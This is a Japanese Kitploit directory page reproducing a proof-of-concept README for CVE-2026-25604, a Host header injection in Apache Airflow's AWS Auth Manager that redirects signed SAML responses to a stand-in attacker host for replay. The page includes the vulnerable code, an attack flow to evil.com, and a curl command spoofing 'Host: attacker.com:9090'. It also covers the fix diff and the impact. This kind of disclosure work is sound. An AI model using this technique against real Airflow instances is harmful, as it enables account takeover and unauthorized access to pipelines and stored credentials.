Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25604-PoC — CVE-2026-25604 を実証するための PoC | Kitploit
ツール/GitHubGitHub/john-jung/cve-2026-25604-poc
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ学習と教育
GitHubjohn-jung/cve-2026-25604-poc

CVE-2026-25604-PoC

CVE-2026-25604 を実証するための PoC

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25604 PoC

Apache Airflow の AWS Auth Manager における SAML 認証バイパスに繋がる Host ヘッダーインジェクション

攻撃者は SAML ログインフローに悪意のある Host ヘッダーを注入し、Assertion Consumer Service (ACS) URL を攻撃者が制御するサーバーに向けさせることができます。これにより、攻撃者は有効な SAML レスポンスを取得してそれをリプレイし、被害者の Airflow インスタンスに不正アクセスできるようになります。また、アクセス制御が異なる複数の Airflow インスタンス間でトークンを再利用することも可能です。

影響を受けるバージョン

パッケージ影響を受けるバージョン修正バージョン
apache-airflow-providers-amazon8.0.0 – 9.21.x9.22.0

公式説明

CVE-2026-25604: AWS Auth Manager のオリジン検証エラー (CWE-346)

AWS Auth Manager では、SAML 認証のオリジンがクライアントから提供された値として使用され、実際のインスタンス URL に対して検証されませんでした。これにより、他のインスタンスから取得した SAML レスポンスを再利用することで、アクセス制御が異なる可能性がある別のインスタンスへアクセスすることが可能でした。

— NVD

参考情報

参照元リンク
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-25604
修正 PRhttps://github.com/apache/airflow/pull/61368
修正コミット

脆弱性の概要

Apache Airflow の AWS Auth Manager は、認証に AWS IAM Identity Center 経由の SAML 2.0 を使用します。SAML 認証リクエストの構築時に、_prepare_flask_request() メソッドは受信した HTTP リクエストから Host ヘッダーを直接読み取り、ACS コールバック URL を組み立てます:

root@kitploit:~
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
    host = req.headers.get("Host", req.host)  # <-- Attacker-controlled
    
    if ":" in host:
        hostname, port = host.rsplit(":", 1)
    else:
        hostname = host
        port = "443" if req.scheme == "https" else "80"
    
    return {
        "http_host": hostname,    # Used to build ACS URL
        "server_port": port,
        ...
    }

この結果得られる http_host と server_port は、SAML の AssertionConsumerService URL の構築に使用されます。Identity Provider (IdP) はこの URL を信頼するため、認証済みユーザーを署名済み SAML レスポンスとともに、Host ヘッダーが指す任意の場所へリダイレクトします。

攻撃フロー

root@kitploit:~
┌──────────┐         ┌──────────────┐         ┌─────────────┐
│ Attacker │         │ Victim       │         │ AWS IAM     │
│          │         │ Airflow      │         │ Identity    │
│          │         │ Instance     │         │ Center      │
└────┬─────┘         └──────┬───────┘         └──────┬──────┘
     │                      │                        │
     │ 1. GET /login        │                        │
     │ Host: evil.com:8080  │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │                      │ 2. SAML AuthnRequest   │
     │                      │    ACS URL =           │
     │                      │    evil.com:8080/       │
     │                      │    login_callback       │
     │                      │───────────────────────>│
     │                      │                        │
     │                      │ 3. User authenticates  │
     │                      │    at IdP login page   │
     │                      │                        │
     │ 4. IdP redirects     │                        │
     │    SAMLResponse to   │<───────────────────────│
     │    evil.com:8080     │                        │
     │<─────────────────────│                        │
     │                      │                        │
     │ 5. Attacker captures │                        │
     │    valid SAMLResponse│                        │
     │                      │                        │
     │ 6. Replay to victim  │                        │
     │    POST /login_callback                       │
     │    with captured     │                        │
     │    SAMLResponse      │                        │
     │─────────────────────>│                        │
     │                      │                        │
     │ 7. Authenticated!    │                        │
     │<─────────────────────│                        │
     └──────────────────────┴────────────────────────┘

2 つの悪用シナリオ

シナリオ A — フィッシングによるトークン窃取: 攻撃者は (リバースプロキシ経由で偽装した Host ヘッダーを含む) 細工されたログインリンクを正規ユーザーに送信します。ユーザーが IAM Identity Center で認証すると、SAML レスポンスは攻撃者のサーバーへリダイレクトされます。攻撃者はそれを実際の Airflow インスタンスに対してリプレイします。

シナリオ B — インスタンス間でのトークン再利用: マルチテナントまたは複数インスタンスの Airflow 環境では、インスタンス A で取得した有効な SAML レスポンスをインスタンス B に対してリプレイできます。オリジンが実際のインスタンス URL に対して検証されないため、インスタンス B の異なるアクセス制御がバイパスされます。

リポジトリ構造

root@kitploit:~
CVE-2026-25604-PoC/
├── README.md           # This file
└── mock_airflow.py     # Mock vulnerable Airflow server

前提条件

  • Python 3.8+
  • SAML 2.0 アプリケーションが設定された AWS IAM Identity Center (旧 AWS SSO)
  • IAM Identity Center の SAML メタデータ URL に到達できる EC2 インスタンスまたはローカル環境

依存関係

root@kitploit:~
pip install flask python3-saml

再現手順

1. AWS IAM Identity Center を設定する

Airflow AWS Auth Manager のドキュメント に従って、AWS IAM Identity Center に SAML 2.0 アプリケーションを設定します:

  • アプリケーション ACS URL: http://<airflow-host>:<port>/login_callback
  • アプリケーションの SAML オーディエンス: aws-auth-manager-saml-client
  • Identity Center コンソールから SAML メタデータ URL をコピーします。

2. 脆弱なモック Airflow サーバーを起動する

root@kitploit:~
python mock_airflow.py <SAML_METADATA_URL> [PORT]

例:

root@kitploit:~
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080

3. 偽装した Host ヘッダーでログインリクエストを送信する

別のターミナルで、操作された Host ヘッダーを使用して SAML ログインを開始します:

root@kitploit:~
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login

4. リダイレクトを確認する

サーバーは AWS IAM Identity Center のログインページへの 302 Redirect で応答します。SAML の AuthnRequest を確認すると、AssertionConsumerService URL が正規のサーバーではなく attacker.com:9090/login_callback を指していることがわかります。

5. 期待される出力

モック Airflow サーバーのコンソールで:

root@kitploit:~
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090

SAML AuthnRequest は IdP に対し、認証済みの SAML レスポンスを attacker.com:9090 へ配信するよう指示します。これにより、攻撃者はリプレイ可能な有効なトークンを入手できます。

脆弱なコード

airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py の _prepare_flask_request() メソッド:

root@kitploit:~
host = request.headers.get("Host", request.host)

この行は、クライアントから提供された Host ヘッダーを、設定済みの Airflow ベース URL (AIRFLOW__API__BASE_URL) に対して検証せずに信頼しています。

修正パッチ

修正 (PR #61368、2026 年 2 月 3 日にマージ) では、リクエストから取得したホストを Airflow 設定の値に置き換えています:

root@kitploit:~
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")

これにより、クライアントが送信する Host ヘッダーに関係なく、ACS URL が管理者によって設定された実際のインスタンス URL と常に一致することが保証されます。

影響

  • 機密性: 攻撃者は Airflow への認証済みアクセスを取得します。Airflow には機密性の高い DAG 設定、認証情報を含む接続、データパイプラインのメタデータが含まれる可能性があります。
  • 完全性: 権限のないユーザーが DAG をトリガー、変更、削除できるため、重要なデータワークフローが中断される可能性があります。
  • インスタンス間の権限昇格: マルチテナント環境では、RBAC 設定が異なるインスタンス間で SAML トークンを再利用できます。

クレジット

  • 発見者: Sungwuk Jung
  • 修正者: Vincent Beck (@vincbeck)、Apache Airflow セキュリティチーム

免責事項

この概念実証 (PoC) は教育および許可されたセキュリティテストの目的のみで提供されます。責任を持って、所有しているシステムまたは明示的なテスト許可があるシステムに対してのみ使用してください。

ツールをダウンロード
1a86aec